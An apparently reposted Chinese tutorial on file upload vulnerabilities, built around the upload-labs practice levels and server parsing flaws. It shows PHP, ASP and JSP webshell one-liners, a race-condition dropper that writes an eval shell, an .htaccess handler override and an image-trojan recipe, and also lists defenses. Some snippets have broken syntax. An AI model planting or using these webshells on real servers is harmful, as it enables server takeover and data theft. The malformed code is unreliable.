当前位置: 首页 > news >正文

[Web安全 网络安全]-文件上传漏洞

文章目录:

一:前言

1.什么是文件上传漏洞

2.环境

2.1 靶场 

2.2 其他工具

3.木马分类

二:文件上传分类

1.客户端

JS绕过

2.服务端-黑名单

大小写绕过

点和空格绕过

.htaccess文件绕过

php345文件绕过

windows ::$DATA绕过

3.服务端-白名单

MIME验证绕过

%00截断

4.服务端-检查内容

文件头检查内容验证

二次渲染

5.服务端-其他

条件竞争

三:漏洞解析

1.Apache解析漏洞 

2.Nginx解析漏洞

3.iis6.0解析漏洞

4.iis7.0解析漏洞 

四:编辑器漏洞


一:前言

1.什么是文件上传漏洞

定义:文件上传漏洞是指攻击者利用网站或应用程序中的文件上传功能,上传恶意文件(如木马、病毒、恶意脚本、WebShell等)到服务器上,并利用服务器的解析漏洞执行这些恶意文件,从而获取对服务器的控制权限或进行其他恶意操作危害服务器被完全控制:攻击者可以上传并执行任意代码,从而完全控制服务器数据泄露:攻击者可以访问并下载服务器上的敏感数据,如用户个人信息、公司机密等系统资源耗尽:恶意文件可能包含消耗大量服务器资源的脚本,导致服务拒绝(DoS)攻击,影响系统的可用性和稳定性恶意软件分发:服务器可能被用来分发恶意软件,进一步危害互联网安全高危触发点相册、头像上传视频、照片上传附件上传(论坛发帖、邮箱)    文件管理器攻击方式上传恶意脚本:如PHP、ASP、JSP等Web脚本语言文件,这些文件被服务器解释执行后,攻击者可以获取对服务器的控制权限上传病毒或木马:这些文件被上传后,可能会被诱骗用户或管理员下载执行,或者自动运行以危害系统安全上传钓鱼图片或包含脚本的图片:在某些版本的浏览器中,这些图片可能会被作为脚本执行,用于钓鱼和欺诈利用目录遍历攻击:通过上传一个指针文件,使程序跳转到攻击者的网站或目录,从而进行更进一步的攻击防御措施严格的文件类型验证:确保只允许上传预定义的安全文件类型,并对文件的扩展名进行严格检查文件内容验证:使用病毒扫描和恶意代码检测工具对上传的文件进行安全检测文件重命名:对上传的文件进行重命名,避免直接使用用户上传时的文件名,增加攻击者破解文件路径的难度访问控制:确保只有授权的用户才能访问和下载上传的文件禁止脚本文件执行:将文件上传目录设置为禁止脚本文件执行,防止攻击者上传并执行恶意脚本设置文件大小限制:在服务器端限制上传文件的大小,防止通过上传大文件耗尽服务器资源安全配置和更新:正确配置服务器和应用程序,禁止执行无关的文件类型,并及时更新服务器和应用程序的版本以修复已知的漏洞什么是WebShell以asp、aspx、php、jsp 或者 cgi 等网页文件形式存在的一种代码执行环境主要用于网站管理、服务器管理、权限管理等操作使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,对网站和服务器的管理如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的webshell管理工具中国菜刀(caidao) (比较落后,有后门)c刀(cknife)Weevely3 (kali中自带)中国蚁剑(AntSword)冰蝎(Behinder)后门一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的门    每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下一个后门

2.环境

2.1 靶场 

upload-labs靶场 :专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场

第一关:前端JS验证绕过
第二关:MIME绕过
第三关:php345绕过
第四关:.htaccess绕过
第五关:大小写绕过
第六关:空格绕过
第七关:点绕过
第八关:::$DATA绕过
第九关:点空格点拼接绕过
第十关:双文件绕过            phphpp-hpp    pphphp-php
第十一关:双写后缀绕过
第十二关:GET  0X00截断
第十三关:POST 0X00截断
第十四关:getimagesize图片马
第十五关:exif_imagetype图片马
第十六关:二次渲染绕过
第十七关:条件竞争原理绕过
第十八关:apache漏洞+条件竞争
第十九关:POST 0X00截断
第二十关:审计+数组后缀绕过

 Upload-labs各关卡通关手册:分享1、分享2、分享3、分享4、分享5、分享6、分享7、分享8、分享9、分享10

2.2 其他工具

phpSdudy 

cracer安全工具包

MantraPortable(owasp的火狐):可以在里面修改网页内容 

BurpSuite 安装+激活+使用详细上手教程 web安全测试工具

WinHex安装与使用:检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等

010 editor进制编辑器

中国菜刀下载安装教程:在虚拟终端输入ipconfig,尝试抓取数据包

3.木马分类

文件大小分类一句话木马:通常只有一行代码
<? php eval($_POST[pass]?)>
GIF89a
<? php eval($_POST[pass]?)>

这里解释一下为什么要加 GIF89a

因为有些 Waf 会检测文件内容,而 GIF89a 就是图片内容的头 

小马:只包含文件上传功能
<?php fputs(fopen("up.php","w"),  '<?php eval($_POST["cmd"])?>');  ?>                       

大马:包含很多功能

           代码通常会进行加密隐藏

<?php fputs(fopen(base64_decode(dXAucGhw),w),base64_decode(base64_decode(PHP代码编码)));  ?>

脚本类型分类jsp
<%Runtime.getRuntime().exec(request.getParameter(“i”)));%>
asp
<%eval request(“pass”)%>
aspx
<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”])%>
php
<?php eval($_GET[pass]);?> 
<?php eval($_POST[pass]);?>

一句话木马的了解

我们要用恶意代码上传到服务器的网站中执行权限:远程服务器上被插入一句话的可执行文件<? php eval($_POST[fox]?)>其中fox可以自己修改种类;asp、php、aspx好处:短小精悍、功能强大、隐蔽性好

图片一句话木马的制作 

cmd制作命令:copy fox.jpg/b+fox.php/a fox1.jpgb:代表二进制a:代表ASCII 编码第一步:图片——>右键新建快捷方式——>键入对象的位置cmd第二步:输入命令copy fox.jpg/b+fox.php/a fox1.jpg第三步:打开方式notepad,就可以看到图片里面,有写入的代码uedit制作:直接把一句话木马丢进去编码,另存为就可以了

二:文件上传分类

客户端JS绕过文件上传
服务端检查后缀

黑名单

上传特殊可解析后缀
上传.htaccess
后缀大小写绕过
点绕过
空格绕过
::$DATA绕过
配合解析漏洞
双后缀名绕过
白名单MIME验证绕过
%00截断
0x00截断
0x0a截断
检查内容文件头检查内容验证
突破getimagesize()函数用于获取图形尺寸
突破exif_imagettype()函数用来获取图片类型
二次渲染
其他条件竞争

1.客户端

JS绕过

JS验证:用于客户端本地的验证,所有会很快判断你上传的文件类型是否正确第一种JS判断代码:onsubmit="return checkFile()"绕过方法:删除JS判断代码第二种尝试在允许上传格式的文件里面添加.php格式绕过方法:a=".jpg|.jpeg|.png|.jpg|.bmp|.php|";第三种1.拷贝源代码,在本地分析2.尝试删除js代码3.指定在action=""中指定上传地址绕过方法:本地修改,添加上传地址第四种上传允许上传的文件用burp进行抓包改包:抓包修改

2.服务端-黑名单

文件扩展名限制是通过客户端黑名单来限制上传文件的类型  

大小写绕过

大小写绕过文件上传:大小写是把文件拓展名进行Php进行测试绕过(Php phP)这里需要注意一下,Windows和linux下的两个文件名不一样的Windows下文件不区分大小写的linux  下文件是区分大小写的绕过方法:修改后缀大小写

点和空格绕过

点和空格绕过文件上传:是在文件后缀加上点和空格进行绕过文件下,在后缀加上空格和点重新命名之后是自动删除所谓的空格和点可以尝试欺骗服务器验证,但是系统下是不支持加空格加点的.php空格     这里他会自动解析为.php.php.        这里同理解析为.php.php.空格.   路径拼接尝试绕过绕过方法:这里需要利用burp抓包——>修改后缀为(.php空格   .php)就可以验证了

.htaccess文件绕过

.htaccess文件绕过上传:提供了针对每个目录改变配置的方法在一个特点的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录.htaccess文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置他的功能有,网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等.htaccess文件代码<FilesMatch "fox">SetHander application/x-httpd-php</FilesMatch>绕过方法:新建文件——>复制代码——>修改后缀名

php345文件绕过

php345文件绕过上传:代表php版本3 4 5绕过方法:新建文件——>写入代码——>修改文件后缀名filename.php5<? php eval($_POST[fox]?)>

windows ::$DATA绕过

windows ::$DATA绕过上传:之内用于windowsNTFS文件系统的存储数据流的一个属性 DATA 时就是请求 a.php 本身的数据,如果a.php 还包含了其他的数据流,比如 a.php:lake2.php,请求 a.asp:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容简单来说就是在数据后加::$DATA绕过fox.php::$DATA    返回的结果    fox.php绕过方法:这里需要利用burp抓包——>修改后缀为(filename.php::$DATA)就可以验证了
apache解析漏洞上传Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php

3.服务端-白名单

MIME验证绕过

MIME 类型 | 菜鸟教程

MIME:多用途互联网扩展类型是设定某种扩展名的文件用一种应用程序来打开的方式类型当改扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开其实就是:服务器判断你上传的什么文件用于指定一些客户端 自定义的文件名;以及一些媒体文件打开方式绕过方法:修改媒体类型Content-Type:application-stream、抓包修改后缀jpg:image/jpeg    php:application/x-httpd-php    Windows 系统可执行文件格式:application/octet-stream

%00截断

0x00是十六进制表示方法,是ascll码为0的字符
在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上关于00截断get是可以自动转换的,post需要对%00进行特殊转换绕过方法:get:这里需要利用burp抓包——>修改后缀为(filename.php%001.jpg)就可以验证了post:这里需要利用burp抓包——>修改后缀为(filename.php%001.jpg)就可以验证了需要对%00进行特殊转换(convet selection——>url——>url-decode)

4.服务端-检查内容

文件头检查内容验证

判断文件头数据filename.gifGIF89a<? php eval($_POST[fox]?)>

二次渲染

定义:当我们上传一张 .jpg/.png/.gif 后缀的图片时,网页上显示的并不是我们原先上传的图片而是经过后台加工过的图片,这张图片会修改原图的某些部分当然我们的肉眼是看不出来的,通过修改原图,将原图中插有的恶意代码进行覆盖二次渲染将图片马里面的php代码删了接下来把原图和修改后的图片进行比较,看哪里没有被渲染,在这里插入php代码图片二次渲染 用于:防止图片马上传含有恶意代码的文件绕过办法:找出原图不会被二次渲染的区域,这就要比较原图和选然后的图片比较未被渲染的区域,需要用到工具 010editor在未被渲染的区域插入php代码,制作成了一张不会受到二次渲染影响的图片马<?php $_GET[0]($_POST[1]);?>

5.服务端-其他

条件竞争

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

分析以上代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名。不在则对其进行删除 

分析1.这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了假设这一题 没有文件包含漏洞的话,那我们只要上传php木马就会被删除,那还怎么搞2.要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,就会成功如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过3.我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell(不停的上传),会有一瞬间的访问成功定义:结合代码审计,将文件上传至服务器后,不会被立即删除,而是做短暂的停留中间会有一小部分时间差,这部分时间差是代码进行执行语句(if判断的)时间这部分时间足够执行一句代码,我们利用这段时间差和一段代码就可以达到上传含有恶意代码的非法文件的目的上传的文件从临时目录移动到 upload_file(服务器的目录),任意类型的文件先上传到服务器上,在决定删除不删除绕过方法:把这个php文件通过burp一直不停的重放,然后我们在开一个burp一直访问我们的这个php文件,总会有那么一瞬间是还没来得及删除就可以被访问到的一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件,这样生成的文件是不会被我们的程序删除掉的a.php<?php  $str='<?php @eval($_POST[cmd]);?>'  file_put_contents("b.php",$str); ?>其他语句参考<?php fputs(fopen('shell.php','w'),' <?php phpinfo() ?>')?>其他语句参考<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>  在a.php 在后台短暂停留的时间内,只要访问它并执行代码,它就会在 upload中创建b.php文件,达到上传非法文件的目的b.php里面的内容会生成<?php @eval($_POST[cmd]);

三:漏洞解析

1.Apache解析漏洞 

Apache解析漏洞Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php如aa.php.owf.rar文件,Apache不可识别解析rar和owf,便会解析成php文件

2.Nginx解析漏洞

Nginx解析漏洞Nginx的解析漏洞通常与文件扩展名的处理和URL路径的解析有关一个典型的例子是Nginx在处理特定URL时,可能会错误地将请求映射到不期望的文件上环境配置:Nginx作为Web服务器服务器配置允许上传文件,并存储在某个可访问的目录中Nginx的某些配置可能允许通过修改URL来绕过文件类型检查漏洞利用:攻击者在网站上传一个看似无害的图片文件(如malicious.jpg),但该文件实际上包含恶意代码(例如,通过修改文件头或使用特殊的编码技术)攻击者通过构造特定的URL(如http://example.com/uploads/malicious.jpg%00.php),尝试访问该文件Nginx可能会错误地将请求映射到malicious.jpg文件,但由于URL中的%00(空字符)截断,服务器可能会忽略.jpg扩展名,并尝试将请求作为PHP文件处理

3.iis6.0解析漏洞

iis6.0解析漏洞1、目录解析:以*.asp命名的文件夹里的文件都将会被当成ASP文件执行形式:www.xxx.com/xx.asp/xx.jpg比如1.asp/1.jpg,这里1.jpg会被当做asp文件执行2、文件解析:*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行形式:www.xxx.com/xx.asp;.jpg比如1.asp;1.jpg命名的文件,同样是以asp脚本进行执行

4.iis7.0解析漏洞 

IIS7.0解析漏洞在IIS7.0中,一个常见的解析漏洞与文件扩展名的处理有关,尤其是在FastCGI模式下当php.ini配置文件中的cgi.fix_pathinfo选项被设置为1时,可能会出现文件解析漏洞这个漏洞允许攻击者通过特定的URL构造,使服务器错误地将非PHP文件当作PHP文件来执行环境配置:IIS7.0安装在Windows Server上PHP作为后端脚本语言,通过FastCGI与IIS集成php.ini中的cgi.fix_pathinfo选项被设置为1漏洞利用:攻击者在网站上传一个包含PHP代码的图片文件(如shell.jpg),该文件实际上是一个PHP木马攻击者通过构造URL(如http://example.com/uploads/shell.jpg/.php),尝试访问该文件由于cgi.fix_pathinfo被设置为1,IIS会将请求中的.php部分视为对PHP文件的请求,并尝试执行shell.jpg文件内的PHP代码影响:攻击者可以执行任意PHP代码,从而控制服务器或访问敏感数据

四:编辑器漏洞

分类不需要后台验证:可以直接在前台访问且操作需要后台验证:才可以操作编辑器常用的编辑器有FCKeditorEWEbeditorCKFinderUEDITORDotNetTextBoxCute Editor编辑器漏洞利用(1)找到编辑器:我们可以看编辑器路径的文件名来判断是什么编辑器(2)确认版本(3)去搜索该版本编辑器的漏洞利用

FCK编辑器漏洞利用

FCKeditor常见上传目录:FCKeditor/editor/filemanager/browser/default/connectors/test.htmlFCKeditor/editor/filemanager/upload/test.htmlFCKeditor/editor/filemanager/connectors/test.htmlFCKeditor/editor/filemanager/connectors/uploadtest.htmlfck“”变“”绕过方法在高版本fck中,直接上传或抓包修改文件名为a.asp;jpg,都会将前面的点变成下划线也就是变成这样:a_asp,jpg,这样我们的文件名解析就无效果了绕过方法:突破建立文件夹(实质就是利用我们iis6的目录解析)

EWEbeditor编辑器漏洞

(1)进后台:eweb编辑器默认数据库地址是:ewebeditor/db/ewebeditor.mdb(2)eweb遍历漏洞:ewebeditor/admin uploadfile.asp?id=14&dir=../(3)修改样式表上传文件

相关文章:

[Web安全 网络安全]-文件上传漏洞

文章目录&#xff1a; 一&#xff1a;前言 1.什么是文件上传漏洞 2.环境 2.1 靶场 2.2 其他工具 3.木马分类 二&#xff1a;文件上传分类 1.客户端 JS绕过 2.服务端-黑名单 大小写绕过 点和空格绕过 .htaccess文件绕过 php345文件绕过 windows ::$DATA绕过 3.…...

【白话Redis】缓存雪崩、穿透、击穿、失效和热点缓存重建

快速导航 Redis不可不知的故障现象一、缓存雪崩定义&#xff1a;解决方案&#xff1a; 二、缓存穿透定义&#xff1a;解决方案一&#xff1a;解决方案二&#xff08;更普遍的做法&#xff09;&#xff1a; 三、缓存击穿定义&#xff1a;解决方案&#xff1a; 四、缓存失效Redis…...

flink增量检查点降低状态依赖实现的详细步骤

增量检查点启动恢复的时间是很久的&#xff0c;业务上不能接受&#xff0c;所以可以通过降低状态依赖来减少恢复的时间。 降低状态依赖 尽可能减少状态的复杂性和依赖关系&#xff0c;通过拆分状态或将状态外部化到其他服务中&#xff0c;从而降低恢复的开销。 实施措施&…...

Redis总结,是什么,干什么,怎么利用?

Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源的内存数据库&#xff0c;遵守 BSD 协议&#xff0c;它提供了一个高性能的键值&#xff08;key-value&#xff09;存储系统&#xff0c;常用于缓存、消息队列、会话存储等应用场景 Redis主要特性 &#xff08…...

Vue3状态管理Pinia

Vue3 的 Pinia 使用指南 Pinia 是 Vue3 中官方推荐的状态管理库&#xff0c;作为 Vuex 的替代品&#xff0c;它更简洁易用&#xff0c;并且支持模块化、类型推断和 DevTools 集成。Pinia 非常适合在 Vue3 项目中管理全局状态。 1. 安装 Pinia 首先&#xff0c;我们需要在 Vu…...

box64 安装

ARM运行x86程序 docker安装 box64 安装方法 docker run --name a001 -itd --networkhost -v /www/wwwroot/docker/Box64/f:/f ubuntu:22.04 /bin/bash docker exec -it a001 bash cd /home //创建目录qq547176052 mkdir -p qq547176052 cd /home/qq547176052 apt update apt …...

OpenCV通过鼠标提前ROI(C++实现)

文章目录 鼠标绘制矩形提取ROI任意形状绘制提前ROI 废话不多说&#xff0c;直接上代码 鼠标绘制矩形提取ROI #include <iostream> #include <opencv2\opencv.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2/core/core.hpp>us…...

6.1.数据结构-c/c++模拟实现堆上篇(向下,上调整算法,建堆,增删数据)

目录 一.堆(Heap)的基本介绍 二.堆的常用操作&#xff08;以小根堆为例&#xff09; 三.实现代码 3.1 堆结构定义 3.2 向下调整算法* 3.3 初始化堆* 3.4 销毁堆 3.4 向上调整算法* 3.5 插入数据 3.6 删除数据 3.7 返回堆顶数据 四.下篇内容 1.堆排序 2.TopK问题 一…...

【智能终端】HBuilder X 与微信开发者工具集成与调试实战

目录 1. 需求和理解库、框架、平台 1.1 需求 1.2 理解 2.3 库、框架、平台 2.3.1 库&#xff08;Library&#xff09; 2.3.2 框架&#xff08;Framework&#xff09; 2.3.3 平台&#xff08;Platform&#xff09; 2.3.4 总结 2. 使用 HBuilder X 创建第一个 uni-app 应…...

结构体的字节对齐方式(__attribute_pack(packed))#pragma pack())

结构体的字节对齐方式&#xff08;__attribute_pack(packed))&#pragma pack()) 1、编译器的字节对齐方式 当前编译器都有默认的字节对齐方式&#xff0c; struct PackedStruct {char a;int b;short c; };如上代码段中的结构体&#xff0c;在编译运行后发现他的大小并不…...

若依Ruoyi之智能售货机运营管理系统(新增运营运维工单管理)

idea抽取独立方法快捷键&#xff1a;ctrlaltm TaskDto.java package com.dkd.manage.service.impl;import java.time.Duration; import java.util.List; import java.util.stream.Collectors;import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.collection.CollUti…...

ModuleNotFoundError: No module named ‘keras.layers.core‘怎么解决

问题 ModuleNotFoundError: No module named keras.layers.core&#xff0c;如图所示&#xff1a; 如何解决 将from keras.layers.core import Dense,Activation改为from tensorflow.keras.layers import Dense,Activation&#xff0c;如图所示&#xff1a; 顺利运行&#xf…...

C++(三)----内存管理

1.C/C内存分布 看下面这个问题&#xff08;考考你们之前学的咋样&#xff09;&#xff1a; int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVar 1;int localVar 1;int num1[10] {1, 2, 3, 4};char char2[] "abcd";char* pCh…...

使用 ShuffleNet 模型在 CIFAR-100 数据集上的图像分类

简介 在深度学习领域&#xff0c;图像分类任务是衡量算法性能的重要基准。本文将介绍我们如何使用一种高效的卷积神经网络架构——ShuffleNet&#xff0c;来处理 CIFAR-100 数据集上的图像分类问题。 CIFAR-100 数据集简介 CIFAR-100 数据集是一个广泛使用的图像分类数据集&…...

怎么利用短信接口发送文字短信

在当今这个快节奏的数字时代&#xff0c;即时通讯已成为人们日常生活和工作中不可或缺的一部分。而短信接口&#xff08;SMS Interface&#xff09;&#xff0c;作为传统与现代通讯技术结合的典范&#xff0c;凭借其高效、稳定、广泛覆盖的特性&#xff0c;在众多领域发挥着不可…...

【C#生态园】提升C#开发效率:掌握这六款单元测试利器

从xUnit到SpecFlow&#xff1a;C#测试驱动开发全指南 前言 在C#开发中&#xff0c;单元测试和模拟框架是至关重要的工具&#xff0c;它们可以帮助开发人员确保代码的质量和可靠性。本文将介绍一些常用的C#单元测试框架和相关库&#xff0c;包括xUnit、NUnit、Moq、FluentAsse…...

【QT】自制一个简单的小闹钟,能够实现语音播报功能

做了一个自制的小闹钟&#xff0c;能够自己输入时间&#xff0c;以及对应的闹铃&#xff0c;时间到了自动播放设定的闹铃&#xff0c;可以随时取消重新设定&#xff0c;采用分文件编译 注意&#xff1a;需要在.pro文件中加入&#xff1a;QT core gui texttospeech 代码…...

基于深度学习的图像描述生成

基于深度学习的图像描述生成&#xff08;Image Captioning&#xff09;是一种将计算机视觉与自然语言处理结合的任务&#xff0c;其目标是通过自动生成自然语言来描述输入的图像。该技术能够理解图像中的视觉内容&#xff0c;并生成相应的文本描述&#xff0c;广泛应用于视觉问…...

Linux和C语言(Day11)

一、学习内容 讲解有参函数 形参 和 实参 形参——定义时的参数&#xff0c;形式上的参数&#xff0c;没有实际意义&#xff0c;语法上必须带有数据类型 void fun(int a,int b); void fun(int a[],int n); void fun(char *s); 可以是&#xff1a;变量、数组、指针 实参——调用…...

使用Zlib库进行多文件或者多文件夹的压缩解压缩

zlib库可在git上自己clone下来然后使用cmake工具生成解决方案&#xff0c;编译、生成zlib二进制文件。然后将zlib库引入项目&#xff1a; //zlib库支持 #include "../zlib/include/zlib.h" #ifdef _DEBUG #pragma comment(lib, "../zlib/lib/zlibd.lib") …...

CSGHub携手Nvidia NIM、阿里计算巢打造企业级私有化部署解决方案

强强联合 人工智能与大数据的迅速发展&#xff0c;大模型的推理应用和资产管理已成为企业数字化转型的重要组成部分&#xff0c;企业正寻求高效、安全的AI模型部署解决方案。为应对日益增长的计算需求和复杂的数据管理挑战&#xff0c;CSGHub、Nvidia和阿里云计算巢强强联手&a…...

opencv的球面投影

cv::detail::SphericalProjector 在全景图像拼接任务中&#xff0c;可能需要对多个图像进行球面投影以实现无缝拼接。每个cv::detail::SphericalProjector可以负责一个图像的球面投影操作。通过将多个这样的投影器存储在std::vector中&#xff0c;可以对一组图像依次进行投影处…...

5. 去中心化应用(dApp)

去中心化应用&#xff08;dApp&#xff09; 去中心化应用&#xff08;dApp&#xff09;是基于区块链技术构建的应用程序&#xff0c;其核心特性是去中心化、透明和开放。dApp与传统应用有许多显著的区别&#xff0c;它们在实现和功能上都带来了新的变革。以下是对dApp的详细介…...

k8s服务发布Ingress

Kubernetes暴露服务的方式目前只有三种&#xff1a;LoadBlancer Service、NodePort Service、Ingress&#xff0c;通俗来讲&#xff0c;ingress和之前提到的Service、Deployment&#xff0c;也是一个k8s的资源类型&#xff0c;ingress用于实现用域名的方式访问k8s内部应用。 In…...

区块链学习笔记1--比特币

区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式。 从狭义上来说&#xff1a;区块链是一种按照时间顺序将数据区块以顺序相连的方式组合成的一种链式数据结构&#xff0c;并以密码学的方式保证的不可篡改和不可伪造的分布式账本。 意思就是…...

在 Vite 项目中自动为每个 Vue 文件导入 base.less

在 Vue.js 项目中&#xff0c;使用 Less 作为 CSS 预处理器时&#xff0c;我们通常会创建一个全局的样式文件&#xff08;如 base.less&#xff09;&#xff0c;用于存放一些全局变量、混合、通用样式等。为了避免在每个 Vue 组件中手动导入这个文件&#xff0c;我们可以通过配…...

RUST 学习之全局变量

RUST 全局变量 rust 全局变量编译期初始化的全局变量静态常量静态变量原子类型的静态变量 运行期初始化的全局变量lazy_staticBox::leakOnceCell & OnceLock 参考文档 rust 全局变量 编译期初始化的全局变量 静态常量 在编译期初始化&#xff0c;所以其赋值只能是表达式…...

代码随想录八股训练营第三十九天| C++

前言 一、说一下 lambda函数&#xff1f; 1.1.Lambda 函数的一般语法如下: 1.2.捕获子句&#xff1a; 二、C 怎么实现一个单例模式&#xff1f; 2.1.懒汉式&#xff08;线程不安全&#xff09;: 2.2.饿汉式&#xff08;线程安全&#xff09;: 2.3.双重检查锁定&#xff…...

服务网关工作原理,如何获取用户真实IP?

文章目录 一、什么是网关二、网关工作原理 (★)三、SpringCloud Gateway3.1 Gateway 简介3.2 Gateway 环境搭建3.3 自定义路由规则 (★)3.4 局部过滤器3.5 全局过滤器&#xff08;案例&#xff1a;获取用户真实IP地址&#xff09; (★) 补充1&#xff1a;不同类型的客户端如何设…...

单链表的实现(C语言)

目录 1.单链表 1.1 实现单链表 1.1.1 文件创建 1.1.2 链表功能了解 1.1.3 链表的结点 1.1.4 链表的函数声明 1.1.5 链表功能的实现 链表是一种链式结构&#xff0c;物理结构不连续&#xff0c;逻辑结构是连续的&#xff0c;在计算机中链表的实际存储是按照一个结点内存放…...